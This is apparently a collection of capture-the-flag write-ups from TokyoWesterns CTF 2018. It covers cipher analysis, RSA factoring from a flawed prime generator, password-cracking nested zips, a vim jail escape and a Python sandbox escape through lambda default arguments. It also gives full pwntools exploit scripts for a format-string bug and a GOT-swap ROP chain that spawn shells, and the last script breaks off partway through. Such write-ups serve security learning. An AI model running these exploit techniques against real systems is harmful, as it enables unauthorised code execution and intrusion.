- 112 scs7
- 154 Revolutional Secure Angou
- 233 mixed cipher
- 208 load
- 447 BBQ
- 240 + 300 + 300 EscapeMe
- 239 Neighbor C
- 233 swap Returns
- 421 twgc
- 410 ReadableKernelModule
- 90 BBQ-old
- 99 dec dec dec
- 315 tw playing card
- 462 Matrix LED
- 462 DartS
- 447 REVersiNG
- 55 SimpleAuth
- 190 shrine
- 267 Slack emoji converter
Description
nc crypto.chal.ctf.westerns.tokyo 14791
Note: You can encrypt up to 100 messages "per once connection".
No files provided
Solution
Upon connecting, we get the encrypted flag with some random "key" and we can encrypt 100 messages with the same "key". On each connection, the encrypted flag is different, but of course the decrypted plain text is always the same.
$ nc crypto.chal.ctf.westerns.tokyo 14791
encrypted flag: XRSAVJb0UiLYkm44anypH4JkKZgNGTabbj7mABkztEDvDrKT1fRpfS6vtwzaDf24
You can encrypt up to 100 messages.
message:
The characters look very much like the Base-64 alphabet, and the number of characters in the output grows slightly faster than the length of the input. The padding characters are removed.
We can find the correct flag length by matching the Base-64 character amount:
. nc crypto.chal.ctf.westerns.tokyo 14791
encrypted flag: 03swHpYeLkJnm8aaE1rfMapmU6ZBAtEYYzC8w5mjWKoioRUtPx3fxsciWqjEoxba
You can encrypt up to 100 messages.
message: TWCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
ciphertext: 03swHpYeFR6FMLnQn6jwPa86kus9TbcBHsaGy99oySVvH9Zg1KkcKBrUTsENJ8mG
message: TWCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxy}
ciphertext: LLVePvv77RHm0UBQ7FzwCv8SSR391yaCnttssP1XdJGk9NDgPZeKWpBrAnUaaEirZs
Here we can make an important observation – the Base-64 characters are jumbled using some cipher that doesn't always produce the same output for the same input, i.e. it is position-dependent. Additionally, the TWCTF{
prefix matched only when the length of the entire plain text matched, so it seems the message length is a parameter of the cipher.
This could be something like a simple affine cipher. Nonetheless, during the CTF I wrote a simple brute-force script matching one prefix at a time.
TWCTF{67ced5346146c105075443add26fd7efd72763dd}
No description
Files provided
revolutional-secure-angou.7z
containing:flag.encrypted
generator.rb
publickey.pem
Solution
First a look at all the files provided:
$ xxd flag.encrypted
0000000: 4fed 3772 79db 2e48 b1e8 5fa3 572d bf5d O.7ry..H.._.W-.]
0000010: 2fa2 6a7c d109 37a2 86b3 a34f c66c 13e3 /.j|..7....O.l..
0000020: d0bc af0a 9d33 ce30 4202 e9a4 e986 fb12 .....3.0B.......
0000030: bf86 d761 0506 649a 536d 7113 1563 87fa ...a..d.Smq..c..
0000040: aca5 ce56 0c3c d213 7de8 07d7 7ca5 dc30 ...V.<..}...|..0
0000050: fd6f a3dd c794 908b e230 1ba9 bb86 04f6 .o.......0......
0000060: c03e b484 7ff5 e723 d81e 4273 1bb7 2d8c .>.....#..Bs..-.
0000070: 2646 d2a9 e203 2642 aa51 28a9 cd5c 6a4b &F....&B.Q(..\jK
0000080: d75b 0e3e 2322 fb7a c63d dc09 c9ca d257 .[.>#".z.=.....W
0000090: 3cf2 b1e1 af79 74ea d8d7 00b8 26bb c7b3 <....yt.....&...
00000a0: 16e8 ba24 0ebb d2a6 5e13 faa6 8f18 cec0 ...$....^.......
00000b0: 5d35 463d a9b5 09c3 9b8e 5090 d91b 1316 ]5F=......P.....
00000c0: 3fc3 d99e c33d f350 1e81 89fc d3b7 1fc1 ?....=.P........
00000d0: fa1a b075 cb29 f66a 64da cab5 19b7 a29c ...u.).jd.......
00000e0: 0171 306b edbe 5841 7613 6b57 6e47 27a9 .q0k..XAv.kWnG'.
00000f0: 8054 c68e 4285 fa1f 0e98 0b99 57ed b9a4 .T..B.......W...
$ cat generator.rb
require 'openssl'
e = 65537
while true
p = OpenSSL::BN.generate_prime(1024, false)
q = OpenSSL::BN.new(e).mod_inverse(p)
next unless q.prime?
key = OpenSSL::PKey::RSA.new
key.set_key(p.to_i * q.to_i, e, nil)
File.write('publickey.pem', key.to_pem)
File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag')))
break
end
$ openssl rsa -in publickey.pem -pubin -text -noout
Public-Key: (2048 bit)
Modulus:
00:85:29:06:3e:a0:ad:3b:46:29:6f:92:f7:23:56:
77:2e:a4:e7:03:f7:b7:92:20:c1:8d:e1:b7:e3:ca:
0a:77:28:d1:9e:69:dc:48:b8:68:5c:d6:04:f5:88:
7a:4f:8f:3a:94:5a:1c:a1:59:3c:f0:86:d3:48:ec:
4d:c9:21:42:08:3f:c9:e2:20:3c:65:30:31:1e:e5:
10:be:50:a4:2a:ee:4a:63:e7:fa:66:bf:ce:35:12:
fc:2f:b1:17:40:2a:55:cd:f0:89:77:70:c1:bb:86:
f2:d9:30:6d:a5:b8:99:d2:94:ed:bc:b1:7a:d8:7e:
17:59:2c:cc:3f:62:b1:30:57:24:18:17:32:ac:74:
74:cf:23:be:b7:22:83:33:73:ef:07:b6:a9:21:88:
cf:28:bc:fe:f2:6b:23:68:ad:a3:8f:7f:4f:d8:92:
1d:be:3b:64:88:e4:b9:20:28:ff:bd:46:ae:26:d8:
b4:3c:9a:86:db:bc:63:f0:b5:13:98:bb:54:09:8f:
f7:00:4b:64:6a:fb:42:f2:43:54:ab:6a:2d:30:ef:
ee:e8:b3:33:47:3a:be:1c:c9:2e:b6:8a:46:58:19:
d9:e9:a0:ff:58:fe:af:2c:72:2a:e6:5b:7c:ed:c9:
e3:0b:e9:15:02:9d:69:34:25:23:b9:81:ad:83:95:
cd:f7
Exponent: 65537 (0x10001)
So the Ruby script was used to encrypt the flag using RSA. We are given the encrypted cipher text and the 2048-bit public key. 2048-bit RSA key sounds serious and such keys are still used for secure applications nowadays. So the only conclusion we can come to is that the key is not generated properly.
Factorisation with yafu was attempted but yielded no results, so it seems that the factors are still quite large.
Instead, let's have a closer look at how the primes are actually generated:
while true
p = OpenSSL::BN.generate_prime(1024, false)
# q is modular inverse of e mod p
q = OpenSSL::BN.new(e).mod_inverse(p)
next unless q.prime?
The library used to generate p
seems a completely valid choice. The second argument of generate_prime
specifies whether the generated prime should be a "safe prime", but even though the prime generated is "unsafe" it is still a 1024-bit prime.
But the unusual bit here is how q
is obtained. It is the modular multiplicative inverse of e
(the public modulus) mod p
? Key generation in RSA usually consists of generating two discting primes indepently of one another, and repeating the process until there are only very small common factors between (p - 1)
and (q - 1)
. Here q
clearly depends on p
!
But how can we exploit this? Let's write down what we know and do some algebraic manipulation:
e = 65537
p ... 1024-bit prime, "unsafe"
q = e^-1 mod p
=> e * q = 1 mod p
=> e * q = 1 + x * p, for some integer x ≥ 0
=> x * p = e * q - 1
=> p = (e * q - 1) / x
n ... 2048-bit public key
q ... ~1024-bit prime (since n = p * q is 2048-bit)
n = p * q
=> n = ((e * q - 1) / x) * q
=> n = (e * q^2 - q) / x
We can actually rewrite that last line as a quadtratic polynomial:
n = (e * q^2 - q) / x
x * n = e * q^2 - q
0 = e * q^2 - q - x * n
Where a = e
, b = -1
, and c = x * n
. Now we can simply use the quadratic formula to find the roots, i.e. the solutions for q
. Of course, we only need to consider the positive root:
q = (-b + sqrt(b^2 - 4ac)) / 2a
substituting:
q = (1 + sqrt(1 - 4 * e * x * n)) / 2e
We know that q
is a 1024-bit prime number, so clearly it has to be an integer. For the fraction to be an integer, we need the denominator (1 + sqrt(...)
) to be divisible by 2e
. More importantly, since 2e
is an integer, we need the denominator to be an integer, and hence we need the discriminant (b^2 - 4ac = 1 - 4 * e * x * n
) to be a perfect square. We know n
and e
, since these form the public key. The only unknown here is x
.
We expect x
to be somewhat close in value to e
, in order for the square root of the discriminant + 1
to be divisible by 2e
. However, since e = 65537
, we can simply do an exhaustive search from x = 1
until we find a solution. Here is a simple Python script to do this using gmpy2 (native Python integers are too slow here):
n = gmpy2.mpz(0x008529063ea0ad3b46296f92f72356772ea4e703f7b79220c18de1b7e3ca0a7728d19e69dc48b8685cd604f5887a4f8f3a945a1ca1593cf086d348ec4dc92142083fc9e2203c6530311ee510be50a42aee4a63e7fa66bfce3512fc2fb117402a55cdf0897770c1bb86f2d9306da5b899d294edbcb17ad87e17592ccc3f62b1305724181732ac7474cf23beb722833373ef07b6a92188cf28bcfef26b2368ada38f7f4fd8921dbe3b6488e4b92028ffbd46ae26d8b43c9a86dbbc63f0b51398bb54098ff7004b646afb42f24354ab6a2d30efeee8b333473abe1cc92eb68a465819d9e9a0ff58feaf2c722ae65b7cedc9e30be915029d69342523b981ad8395cdf7)
e = gmpy2.mpz(0x10001)
for x in range(1, 0x100000):
discriminant = gmpy2.mpz(1 + 4 * n * e * x)
root = gmpy2.iroot(discriminant, 2)[0]
if root * root == discriminant:
print(x)
break
And with that we quickly find x = 54080
. We can confirm that it is now possible to find an exact integer solution to the quadratic formula:
numerator = 1 + gmpy2.iroot(gmpy2.mpz(1 + 4 * n * e * x), 2)[0]
denominator = 2 * e
print(numerator % denominator == 0)
q = numerator // denominator
And finally to verify that q
divides n
eactly:
print(n % q == 0)
p = n // q
So with the knowledge of the primes, we can proceed with the RSA auto-pilot of calculating the totient, the private key d
, and decrypting the message. (Full script here)[scripts/rsa.py].
$ python3 rsa.py
x = 54080
integer fraction found: True
prime of n found: True
p = 142727552290123521017279182847387099553980176436653156686571005621360593567236973858972940588412513104338972342496604878974964273707518226570604980944855067127507753049804700855693115963197456876865788199179854448882972688495369967044453040443306336140280352904742571391288666823388345281672776486027914172087
q = 117776309990537864360810812340917258096636219871129327152749744175094693075913995854147376703562090249517854407162616412941789644355136574651545193852293544566513866746012759544621873312628262933928953504305148673201262843795559879423287920215664535429854303448257904097546288383796049755601625835244054479553
phi = 16809924442712290290403972268146404729136337398387543585587922385691232205208904952456166894756423463681417301476531768597525526095592145907599331332888256802856883222089636138597763209373618772218321592840374842334044137335907260797472710869521753591357268215122104298868917562185292900513866206744431640041825979867105249932890940911381335041712272797899543995788514582462240518842563155246865613570402920157419687697111930148710870730629815957216849373343577492188501906664815472358533861143958926638396113416061578785068164481601201983962622457263781854341614203973944361678592735864122145283939434822573696185472
d = 12685738484942314313789152088713015321019042297472437411782771035468772791022201521866687554829534334295978407562541895590222583725770119967316900820330308145867154895678917621233321220214541972265647639328917389446528753900228898248644358670442755834434712778789218829263758255497813697203332390148558830175147310866644665626759237615318035132719007400987467338201448864296771161037512985522673902009017617912715914889661745903763404559187778470360726556095437014337838584308534776262391743663242452258751468290150198568013508078353178322517408204393733661168920690604442379722902170230064742991792065054165583806721
cipher = 10089801952851677233375343748334663831040141607106889530909669540017317755681188698980263004402133660979407119311320372745257158691631249131566106670161865093087801278950198225102042583803531958252306524156922426585194114960337939249290950354517240715367558712098747715093640298873767081261430898770019892466124065148096497855157363209509475161543099156564224121940010336176009687669790607339053418086863051500818439084834826453968837826083502290458386468079753695372281967619869947082478955556210036493908924005620167220729452963493214730708944132474924039805244831072055444725447859972247018254615246641130491460004
plain = 1420601612258441926906969731437774688566600890964306449231629993551702380099505967631945399642414315403811583561535034439099347713042568688699687261390828335560089515851235597692036443716875019777612882313897487635097134956465952548138454303501409485681689290099638892995732756381973242435538753053322905709330700680463397820462905451695207786668795318920215889953844197054766418474627615281614803885642272992371082587560442350258729933763385621651053463385604854287725833254781960311919433904258481720918081195804122887612881112805428762497246317821976323018012958859174791513792343656717981507896162640601644298
b'\x02\xe1\x7f\x96\xcba\xf0\xe17\xa2(t{E\xea\x96U\xb9\xf5\xd2D5\x0bL\xee\xdeq{\xdd\x9d\x82o\xd1\xd6\xfe`\xa2\xc62B\x8c\x9a\xd6}\xa6\xc8X\xa3>4\x98oN\xc0\xd6I\xf4zn_\xe3\x90\x18B\xff"\xf6\xcf\x94\xdb\x13;\x83s\xff\xde\xf0\x13\xb1<-\xd9(p\xce\x86\x88f6\x12\x03\xa00n\x06;YbRH\xda\xbe\x0bo!\x0e-\xa1\x13\x07\x89\x18\xb53}T\x92\xe6H\xf7\x19\xd3E#R5HTe#9\'@\xeb\xff\x91#`\x8cv\x19\xaa \x04Z\xcc\x95,\x0e\xfb\xdf\xb8$\x96>(%\'\xba\xef\xeb\x15\x8d\x860wt|\xfbr\xf5eA\x9b\xaf\x1aa\xf0q\x9d\xa8\x82\xe9r\xd9\xe0\xab\xe2\x93\xd1\x97\x80\x9c\xca\xcd\x8dx\x16\xdb\xee\xcb\x05\xc3\x12\x15@\x00TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}\n'
(The message is padded and the actual flag is at the very end.)
TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}
No description
Files provided
mondai.zip
containing:y0k0s0.zip
Solution
Classic Matryoshka-doll-type problem.
$ unzip mondai.zip
Archive: mondai.zip
extracting: y0k0s0.zip
$ zipinfo y0k0s0.zip
Archive: y0k0s0.zip 9923 bytes 2 files
-rw-a-- 6.3 fat 3948 Bx defN 31-Aug-18 22:26 capture.pcapng
-rw-a-- 6.3 fat 8677 Bx defN 1-Sep-18 03:29 mondai.zip
2 files, 12625 bytes uncompressed, 9605 bytes compressed: 23.9%
y0k0s0.zip
contains another mondai.zip
, so we specify an output directory in order not to override the file. The file is password protected - since it is called y0k0s0
, which is a weird word / name, let's try that:
$ unzip y0k0s0.zip -d level1
Archive: y0k0s0.zip
[y0k0s0.zip] capture.pcapng password: (y0k0s0)
inflating: level1/capture.pcapng
inflating: level1/mondai.zip
And it worked, great. The next level is password-protected again, as are all the following ones. Let's have a look at the capture.pcapng
file in Wireshark:
There are a bunch of ICMP ping packets, some of them getting a reply, some of them not. The data
field of the requests seems to contain abc...uvw
repeating, but the length of each packet is different. We can filter the packets to only show the requests (since the responses, if present, always contain the same data
) that have the data
field with:
data && icmp.type == 8
Let's note the lengths of the packets:
129, 143, 91, 141, 153, 151, 106, 106, 106, 143, 106, 106, 106
If we decode these numbers as ASCII, they look like garbage, but these lengths are the lengths of the full packets. Each packet includes some header data before the actual ping payload. Looking at the first packet, the packet size is 129
, while the length of the data
field is 87
, a difference of 42
. In fact, the header is the same size for all of the packets. Let's decode that as ASCII:
$ python3
>>> bytes(map(lambda n: n - 42, [129, 143, 91, 141, 153, 151, 106, 106, 106, 143, 106, 106, 106]))
b'We1com@@@e@@@'
Ignoring the @
signs (coming from packets with no response in the packet dump), we get We1come
. And this is the password!
$ unzip level1/mondai.zip -d level2
Archive: level1/mondai.zip
[level1/mondai.zip] list.txt password: (We1come)
inflating: level2/list.txt
inflating: level2/mondai.zip
For this level we are given a list.txt
with a thousand 10-character lines of random-looking ASCII strings. These seem like possible passwords but checking them one-by-one would be a pain, so let's use fcrackzip
:
$ fcrackzip -D -p level2/list.txt level2/mondai.zip
With this we can find the password eVjbtTpvkU
.
$ unzip level2/mondai.zip -d level3
Archive: level2/mondai.zip
[level2/mondai.zip] 1c9ed78bab3f2d33140cbce7ea223894 password: (eVjbtTpvkU)
inflating: level3/1c9ed78bab3f2d33140cbce7ea223894
$ xxd level3/1c9ed78bab3f2d33140cbce7ea223894
0000000: 504b 0304 1400 0100 0800 4d19 214d acc3 PK........M.!M..
0000010: 5247 2b01 0000 2a01 0000 0a00 0000 6d6f RG+...*.......mo
0000020: 6e64 6169 2e7a 6970 30fc c34b ee61 96e5 ndai.zip0..K.a..
...
0000240: 3b41 d401 085c c9f9 5541 d401 085c c9f9 ;A...\..UA...\..
0000250: 5541 d401 504b 0506 0000 0000 0200 0200 UA..PK..........
0000260: b800 0000 9c01 0000 0000 ..........
$ file level3/1c9ed78bab3f2d33140cbce7ea223894
level3/1c9ed78bab3f2d33140cbce7ea223894: Zip archive data, at least v2.0 to extract
No hint this time except the filename itself. It is 32 characters and hexadecimal, so we can try to check if it is a known hash. And indeed, crackstation reports this as a known MD-5 hash of happyhappyhappy
.
$ unzip level3/1c9ed78bab3f2d33140cbce7ea223894 -d level4
Archive: level3/1c9ed78bab3f2d33140cbce7ea223894
[level3/1c9ed78bab3f2d33140cbce7ea223894] mondai.zip password: (happyhappyhappy)
inflating: level4/mondai.zip
extracting: level4/README.txt
The README.txt
says password is too short
, so presumably we can crack this with fcrackzip
bruteforce.
$ fcrackzip -b -l 2 level4/mondai.zip
There are no 1-character password matches, but there are several 2-character matches – perhaps the too short
in the hint was a play on two short
? fcrackzip
for some reason cannot verify these matches very well (which is what the -u
option should do), but there are not too many, so we can test them one-by-one. The correct password is to
.
$ unzip level4/mondai.zip -d level5
Archive: level4/mondai.zip
[level4/mondai.zip] secret.txt password: (to)
inflating: level5/secret.txt
$ cat level5/secret.txt
Congratulation!
You got my secret!
Please replace as follows:
(1) = first password
(2) = second password
(3) = third password
...
TWCTF{(2)_(5)_(1)_(4)_(3)}
TWCTF{We1come_to_y0k0s0_happyhappyhappy_eVjbtTpvkU}
Description
Can you escape from jail?
No files given
Solution
On the website, we get thrown into a vim session which shows:
diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
{'7', nv_ignore, 0, 0},
{'8', nv_ignore, 0, 0},
{'9', nv_ignore, 0, 0},
- {':', nv_colon, 0, 0},
+ // {':', nv_colon, 0, 0},
{';', nv_csearch, 0, FALSE},
{'<', nv_operator, NV_RL, 0},
{'=', nv_operator, 0, 0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
{'N', nv_next, 0, SEARCH_REV},
{'O', nv_open, 0, 0},
{'P', nv_put, 0, 0},
- {'Q', nv_exmode, NV_NCW, 0},
+ // {'Q', nv_exmode, NV_NCW, 0},
{'R', nv_Replace, 0, FALSE},
{'S', nv_subst, NV_KEEPREG, 0},
{'T', nv_csearch, NV_NCH_ALW|NV_LANG, BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
{'d', nv_operator, 0, 0},
{'e', nv_wordcmd, 0, FALSE},
{'f', nv_csearch, NV_NCH_ALW|NV_LANG, FORWARD},
- {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
+ // {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
{'h', nv_left, NV_RL, 0},
{'i', nv_edit, NV_NCH, 0},
{'j', nv_down, 0, FALSE},
~
~
"/vimshell.patch" [readonly] 31 lines, 1124 characters
The patch file seems to show a modification of vim
source code. The :
, Q
and g
keys are not bound properly, so we cannot simply do <esc>:q!
to quit. Apart from that, we can try <esc>ZZ
but this actually closes our connection, instead of exiting vim
. So in effect this challenge is like an SSH jail with the remote shell set to modified vim
. Our goal is to get the flag somehow, not to quit vim
.
After playing around a bit, we can see that writing into the file is possible, although it warns us that it is open in read-only mode. So we cannot save, but we can write anything and keep it in our session. The fact that g
is disabled gives us another hint: we can "go to file" with the keystroke gf
. This opens the filename that is currently under the cursor.
Looking around a bit more, I found this page, which shows the gf
keystroke, but additionally <c-w>f
and <c-w>gf
. So we write flag
into the file using insert mode (<esc>i
), then <esc>
to switch to normal mode and finally <c-w>f
to open the flag
file in another window.
TWCTF{the_man_with_the_vim}
Description
let's break sandbox.
start from nc pwn1.chal.ctf.westerns.tokyo 30001
Update(2018-09-01 10:22 UTC):
slightly patched sandbox.py to avoid netcat issues.
81c81 < expr = sys.stdin.read() --- > expr = sys.stdin.readline()
Files provided
sandbox.py
- (after solving the first part)
sandbox2.py
Solution
The script given to us is a simple sandbox which accepts input, lets the Python parser parse it into its AST, does some checking, and executes the input if it is valid. Apparently function calls are not allowed.
Since our goal is to read the flag
file, it is hard to imagine a script that reads a file without calling any functions. So either we can come up with a way to call functions without using a Call
in the AST, or we can find some place to hide a Call
where the checker doesn't look.
Knowing some Python weirdness ahead of time, seeing that lambda expressions are allowed immediately attracted my attention. Why have lambdas when calls are disallowed? The body of the lambda is checked with the checker, so we cannot have a Call
inside the actual lambda expression.
$ nc pwn1.chal.ctf.westerns.tokyo 30001
lambda x: x
<function <lambda> at 0x7ff90e25ec80>
But even though the syntax is a bit different, lambdas are still functions, and functions take arguments. And, more importantly, arguments can have default values.
$ nc pwn1.chal.ctf.westerns.tokyo 30001
lambda x = 1: x
<function <lambda> at 0x7f8159a2bc80>
And the default value can actually be any expression.
$ nc pwn1.chal.ctf.westerns.tokyo 30001
lambda x = 1 + 1: x
<function <lambda> at 0x7fa981e0bc80>
This is interesting since the checker only looks into the body
of the lambda, not the args
list. Even if the lambda is never called, its argument default values must be evaluated. Now we can use the magic __import__
function to get the reference to any module we need. sys
in particular allows us output:
$ nc pwn1.chal.ctf.westerns.tokyo 30001
lambda x = __import__("sys").stdout.write("pwned"): x
pwned<function <lambda> at 0x7fde7f032c80>
And os
to get the flag:
lambda x = __import__('sys').stdout.write(open('flag').read()): x
TWCTF{go_to_next_challenge_running_on_port_30002}
<function <lambda> at 0x7f6a2e96bc80>
On to the second part, which first asks us for a hash of the first flag, then delivers the source code of the second part:
$ nc pwn1.chal.ctf.westerns.tokyo 30002
input sha512(flag1) >> 365d5a383aee6a82ad226043bf7feae5eeed6fbe34a9ef9582527b0b4b4c726637449896bd269bb5f3680971036b023a54cab866137da3bfe5a25fd94059b176
(...)
What is changed?
$ diff sandbox.py sandbox2.py
2a3
> import hashlib
5c6,14
< blacklist = [ast.Call, ast.Attribute]
---
> def check_flag1():
> sys.stdout.write('input sha512(flag1) >> ')
> sys.stdout.flush()
> s = sys.stdin.readline().strip()
> flag = open('./flag', 'rb').read().strip()
> if hashlib.sha512(flag).hexdigest() != s:
> exit()
> sys.stdout.write(open(__file__, 'rb').read().decode())
> sys.stdout.flush()
55,58c64,67
< 'ListComp': ['elt'],
< 'SetComp': ['elt'],
< 'DictComp': ['key', 'value'],
< 'GeneratorExp': ['elt'],
---
> 'ListComp': ['elt', 'generators'],
> 'SetComp': ['elt', 'generators'],
> 'DictComp': ['key', 'value', 'generators'],
> 'GeneratorExp': ['elt', 'generators'],
70a80
> 'comprehension': ['target', 'iter', 'ifs'],
80a91
> check_flag1()
87c98
< sys.stdout.flush()
\ No newline at end of file
---
> sys.stdout.flush()
It seem that the generators
part in various list comprehensions was never checked. So this also works for part 1:
$ nc pwn1.chal.ctf.westerns.tokyo 30001
[ flag for flag in [open("flag").read()] ]
['TWCTF{go_to_next_challenge_running_on_port_30002}\n']
But lambdas are still checked the same way, so:
$ printf "365d5a383aee6a82ad226043bf7feae5eeed6fbe34a9ef9582527b0b4b4c726637449896bd269bb5f3680971036b023a54cab866137da3bfe5a25fd94059b176\nlambda x = __import__('sys').stdout.write(open('flag2').read()): x" | nc pwn1.chal.ctf.westerns.tokyo 30002
(...)
TWCTF{baby_sandb0x_escape_with_pythons}
<function <lambda> at 0x7f47bb263158>
The correct filenames were found by listing the current directory using the os
module. This challenge allows RCE of any sort but the user executing the Python script is very limited and the best we can do is list the home
directories on the same machines, which happened to be the other pwn challenges.
TWCTF{go_to_next_challenge_running_on_port_30002}
TWCTF{baby_sandb0x_escape_with_pythons}
Description
Hello Neighbor!
nc neighbor.chal.ctf.westerns.tokyo 37565
Files provided
Solution (by Mem2019)
The program is simple, a format string vuln
void __fastcall __noreturn sub_8D0(FILE *stderr)
{
while ( fgets(format, 256, stdin) )
{
fprintf(stderr, format);
sleep(1u);
}
exit(1);
}
However, the stderr is not redirected to the socket, so the leak is currently not available
My approach is to rewrite the fd
field of stderr
, it is initially 2, and if we can rewrite it to 1, it will essentially becomes a stdout.
There are two value in the stack pointing to the stderr
, 6$
and 8$
, in which 6$
can be editted since it is not used anymore. Firstly we need to rewrite a saved rbp
value using rbp
chain to let it point to the pointer to stderr
, and edit the pointer to let it point to its fd field, then rewrite that to 1
. To be specific, write %9$hhn
to change 11$
to pointer to pointer to stderr
, then write %11$hhn
to let it points to fd, then %6$hhn
to change the fd
to stdout
However, for the saved rbp values, which are pointers of stack, the value of LSB is uncertain unlike other pages, but the last 4 bits are always zero to ensure the alignment. Thus, the probability of success is 1/16
, which is acceptable.
Please tell me about yourself. I must talk about you to our mayor.
%9$p
0x7ffd5d257ca0
Please tell me about yourself. I must talk about you to our mayor.
%9$p
0x7ffeaa4289e0
Please tell me about yourself. I must talk about you to our mayor.
%9$p
0x7ffe77564440
We can disable ALSR to make our debugging more convinient: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
After changing the bytes to stdout, we can leak everything. The way to getshell is then not hard, attack _FILE_IO
, or return address of fprintf
, whatever u what. What I did is rewrite the return address to one_gadget
, but before that we need to do some preparation(write NULL
for requirement of one_gadget
, write pointers to saved return address of fprintf
on stack) first.
the exp:
from pwn import *
g_local=True
context.log_level='debug'
UNSORTED_OFF = 0x3c4b78
IO_STR_FINISH = 0x3C37B0
GUESSED_STDERR_POS = 0x28
GUESSED_NEEDNULL_POS = (0x58 - 0x28) + GUESSED_STDERR_POS
GUESSED_FPRINTF_RET_POS = (0x18 - 0x28) + GUESSED_STDERR_POS
GUESSED_BUF_POS = (0x68 - 0x28) + GUESSED_STDERR_POS
#14 15 16 for format $
if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./neighbor_c')#env={'LD_PRELOAD':'./libc.so.6'}
ONE_GADGET_OFF = 0x4526a
gdb.attach(sh)
else:
sh = remote("neighbor.chal.ctf.westerns.tokyo", 37565)
e = ELF("./libc.so.6")
ONE_GADGET_OFF = 0x4557a
def slp():
if g_local:
sleep(0.1)
else:
sleep(1.1)
def hhn(pos, val):
assert val < 0x100
if val == 0:
return "%" + str(pos) + "$hhn"
else:
return "%" + str(val) + "c%" + str(pos) + "$hhn"
def hn(pos, val):
assert val < 0x10000
if val == 0:
return "%" + str(pos) + "$hn"
else:
return "%" + str(val) + "c%" + str(pos) + "$hn"
def once(payload):
sh.send(payload + "\n")
slp()
return sh.recv(timeout=0.1)
def stack_hn(rel_pos, val):
once(hhn(9, rel_pos))
once(hn(11, val))
def write_addr(rel_pos, val):
stack_hn(rel_pos, val & 0xffff)
stack_hn(rel_pos + 2, (val >> 0x10) & 0xffff)
stack_hn(rel_pos + 4, (val >> 0x20) & 0xffff)
def cont_shoot(poses, vals, extra):
assert len(poses) == len(vals)
size = len(poses)
ret = ""
i = 0
cur_size = 0
next_overflow = 0
while i < size:
assert next_overflow >= cur_size
num = next_overflow - cur_size + vals[i]
if num < 0x10000:
ret += hn(poses[i], num)
next_overflow += 0x10000
else:
num = vals[i] - (cur_size - (next_overflow - 0x10000))
assert num >= 0
ret += hn(poses[i], num)
cur_size += num
i += 1
return ret
sh.recvuntil("Please tell me about yourself. I must talk about you to our mayor.\n")
once(hhn(9, GUESSED_STDERR_POS))
once(hhn(11, (e.symbols["_IO_2_1_stderr_"] & 0xff) + 0x70))
once(hhn(6, 1))
# now stderr is already stdout, u can leak everything
if once("test") != "test\n":
quit(1)
write_addr(GUESSED_NEEDNULL_POS, 0)
#for 0x30 one_gadget
stack_addr = int(once("%9$lx"), 16)
libc_addr = int(once("%8$lx"), 16) - e.symbols["_IO_2_1_stderr_"]
print hex(libc_addr)
print hex(stack_addr)
write_addr(GUESSED_BUF_POS, stack_addr - 0x50 + 0x18)
write_addr(GUESSED_BUF_POS + 8, stack_addr - 0x50 + 0x1A)
write_addr(GUESSED_BUF_POS + 0x10, stack_addr - 0x50 + 0x1C)
#14 15 16 for format $ to rewrite ret addr of fprintf
one_gadget = libc_addr + ONE_GADGET_OFF
once(cont_shoot([14,15,16],[one_gadget & 0xffff, (one_gadget >> 0x10) & 0xffff, one_gadget >> 0x20], ""))
sh.interactive()
Description
SWAP SAWP WASP PWAS SWPA
nc swap.chal.ctf.westerns.tokyo 37567
Files provided
Solution (by Mem2019)
The program is simple, we can swap the QWORD
given 2 addresses. The first thing that comes in my mind is to swap the GOT table
, but the only useful part seems to be swap the atoi
and printf
, thus we can leak the stack address using %p
.
The problem is that we can control almost nothing on the stack, 2 pointers that must be used for swapping, 2 bytes which is not enough to do anything. Here is where I got stucked. Then I inspect the stack and .data
to find something useful to swap, then I found 0x400700
, which is the entry point, on the stack. Thus, if we swap the exit
with this entry point, we can rerun the program each time we call exit
. In this way we can shift the stack up, at the same time the values of that 2 pointers is remained on the stack, which are controllable.
Therefore, we can call set and exit for multiple times, and then call swap to swap those data to construct a ROP chain, then swap printf
with a gadget that is putted in the stack beforehand, then call printf
to execute our ROP.
What I did is to do it in 2 steps, in the first step I leak the libc address, and return to main function, in the second step I call system("/bin/sh")
to getshell
Initially I want to call read directly, however, there is no pop rdx
, so I used this 2-step way.
exp:
from pwn import *
g_local=True
context.log_level='debug'
p = ELF("./swap_returns")
START_OFF = -6 + 0x90
ADD_RSP_0x38 = 0x400a46
POP_RDI_RET = 0x400a53
POP_RSI_R15_RET = 0x400a51
MAIN = 0x4008E9
if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./swap_returns')#env={'LD_PRELOAD':'./libc.so.6'}
ONE_GADGET_OFF = 0x4526a
gdb.attach(sh)
else:
sh = remote("swap.chal.ctf.westerns.tokyo", 37567)
e = ELF("./libc.so.6")
ONE_GADGET_OFF = 0x4557a
def set_pointers(addr1, addr2):
sh.send("1\n")
sh.recvuntil("1st address: \n")
sh.send(str(addr1) + "\n")
sh.recvuntil("2nd address: \n")
sh.send(str(addr2) + "\n")
sh.recvuntil("Your choice: \n")
def swap():
sh.send("2\n")
sh.recvuntil("Your choice: \n")
def exit():
sh.send("3\n")
sh.recvuntil("Your choice: \n")
def invalid_choice():
sh.send("4\n")
sh.recvuntil("Your choice: \n")
#leak stack addr---------------------------
invalid_choice()
#make sure dl resolve being called
set_pointers(p.got["atoi"], p.got["printf"])
swap()
sh.send("%p")
stack_leak = sh.recvuntil("0x")
stack_addr = int(sh.recv(12), 16)
print hex(stack_addr)
#recover atoi and printf-------------------------
sh.recvuntil("Your choice: \n")
sh.send("A") # strlen = 1, so set pointer
sh.recvuntil("1st address: \n")
sh.send(str(p.got["atoi"]) + "\n")
sh.recvuntil("2nd address: \n")
